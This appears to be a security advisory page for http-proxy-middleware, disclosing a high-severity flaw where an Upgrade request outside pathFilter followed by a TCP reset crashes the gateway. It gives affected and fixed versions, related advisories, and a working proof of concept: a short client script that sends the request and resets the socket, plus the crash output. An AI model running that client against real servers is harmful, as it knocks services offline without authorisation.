Vulnerability GHSA-hvp5-3mrg-q5hg
High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
16 hours ago
December 01, 2026 at 06:41 PM UTC
http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
0.8.0 - 2.0.11 and 3.0.0-beta.0 - 3.0.10 and 4.0.0-beta.0 - 4.2.1
0.8.0 - 2.0.11 and 3.0.0-beta.0 - 3.0.10 and 4.0.0-beta.0 - 4.2.1
Summary
http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
Details
Proof of concept
- run
gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";
const neverTrigger = () => console.log("neverTrigger");
const proxy = createProxyMiddleware({
target: "http://example.com",
pathFilter: "/ws",
ws: true,
on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
req,
res,
() => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
- run
client.js
import net from "net";
const socket = net.connect(5056, "127.0.0.1", () => {
socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
setTimeout(() => socket.resetAndDestroy(), 100);
});
- gateway process crash
node:events:505
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
errno: -54,
code: 'ECONNRESET',
syscall: 'read'
}
Node.js v24.22.3
Impact
A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.
Related Vulnerabilities
Other vulnerabilities affecting the same packages
Medium Risk
17 hours ago
http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival
2.0.9 - 2.0.10 and 3.0.5 - 3.0.7 and 4.0.0-beta.0 - 4.2.0 GHSA-vp89-2qrg-8fwc
2.0.9 - 2.0.10 and 3.0.5 - 3.0.7 and 4.0.0-beta.0 - 4.2.0 GHSA-vp89-2qrg-8fwc
High Risk
5 months ago
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
3.0.4 - 3.0.6 and 4.0.0 - 4.1.0 GHSA-gcq2-9pq2-cxqm
3.0.4 - 3.0.6 and 4.0.0 - 4.1.0 GHSA-gcq2-9pq2-cxqm
Medium Risk
5 months ago
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
0.16.0 - 2.0.10-beta.0 and 3.0.0 - 3.0.5 and 4.0.0 - 4.1.0-beta.2 GHSA-64mm-vxmg-q3vj
0.16.0 - 2.0.10-beta.0 and 3.0.0 - 3.0.5 and 4.0.0 - 4.1.0-beta.2 GHSA-64mm-vxmg-q3vj
Medium Risk
1 year ago
http-proxy-middleware can call writeBody twice because "else if" is not used
1.3.0 - 2.0.7 and 3.0.0 - 3.0.3 GHSA-4www-5p9h-95mh
1.3.0 - 2.0.7 and 3.0.0 - 3.0.3 GHSA-4www-5p9h-95mh
Medium Risk
1 year ago
http-proxy-middleware allows fixRequestBody to proceed even if bodyParser has failed
1.3.0 - 2.0.8 and 3.0.0 - 3.0.4 GHSA-9gqv-wp59-fq42
1.3.0 - 2.0.8 and 3.0.0 - 3.0.4 GHSA-9gqv-wp59-fq42
Impacted packages
Timeline
Published
16 hours ago
December 01, 2026 at 06:41 PM UTC
Fixed (2.0.12)
16 days ago
November 15, 2026 at 02:56 PM UTC
Fixed (3.0.11)
16 days ago
November 15, 2026 at 02:57 PM UTC
Fixed (4.2.2)
16 days ago
November 15, 2026 at 02:57 PM UTC
Last Modified
16 hours ago
December 01, 2026 at 07:00 PM UTC